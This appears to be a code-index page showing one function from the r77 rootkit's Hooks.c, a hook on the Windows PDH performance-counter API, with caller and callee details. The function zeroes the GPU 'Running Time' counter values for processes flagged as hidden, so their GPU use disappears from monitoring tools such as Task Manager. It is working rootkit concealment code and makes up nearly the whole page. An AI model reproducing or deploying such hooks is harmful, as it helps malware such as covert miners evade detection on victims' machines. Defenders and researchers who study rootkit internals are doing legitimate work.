MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / HookedPdhGetRawCounterArrayW

Function HookedPdhGetRawCounterArrayW

r77/Hooks.c:840–871  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

838 return status;
839}
840static PDH_STATUS WINAPI HookedPdhGetRawCounterArrayW(PDH_HCOUNTER counter, LPDWORD bufferSize, LPDWORD itemCount, PNT_PDH_RAW_COUNTER_ITEM_W itemBuffer)
841{
842 PDH_STATUS status = OriginalPdhGetRawCounterArrayW(counter, bufferSize, itemCount, itemBuffer);
843
844 if (status == ERROR_SUCCESS && itemCount && itemBuffer)
845 {
846 DWORD infoBufferSize = 0;
847 if (R77_PdhGetCounterInfoW(counter, FALSE, &infoBufferSize, NULL) == PDH_MORE_DATA)
848 {
849 PNT_PDH_COUNTER_INFO_W info = (PNT_PDH_COUNTER_INFO_W)NEW_ARRAY(BYTE, infoBufferSize);
850 if (R77_PdhGetCounterInfoW(counter, FALSE, &infoBufferSize, info) == ERROR_SUCCESS)
851 {
852 if (!StrCmpW(info->FullPath, L"\\GPU Engine(*)\\Running Time"))
853 {
854 for (DWORD i = 0; i < *itemCount; i++)
855 {
856 if (GetIsHiddenFromPdhString(itemBuffer[i].Name))
857 {
858 itemBuffer[i].RawValue.FirstValue = 0;
859 itemBuffer[i].RawValue.SecondValue = 0;
860 itemBuffer[i].RawValue.MultiCount = 0;
861 }
862 }
863 }
864 }
865
866 FREE(info);
867 }
868 }
869
870 return status;
871}
872static PDH_STATUS WINAPI HookedPdhGetFormattedCounterArrayW(PDH_HCOUNTER counter, DWORD format, LPDWORD bufferSize, LPDWORD itemCount, PNT_PDH_FMT_COUNTERVALUE_ITEM_W itemBuffer)
873{
874 PDH_STATUS status = OriginalPdhGetFormattedCounterArrayW(counter, format, bufferSize, itemCount, itemBuffer);

Callers

nothing calls this directly

Calls 2

R77_PdhGetCounterInfoWFunction · 0.85
GetIsHiddenFromPdhStringFunction · 0.85

Tested by

no test coverage detected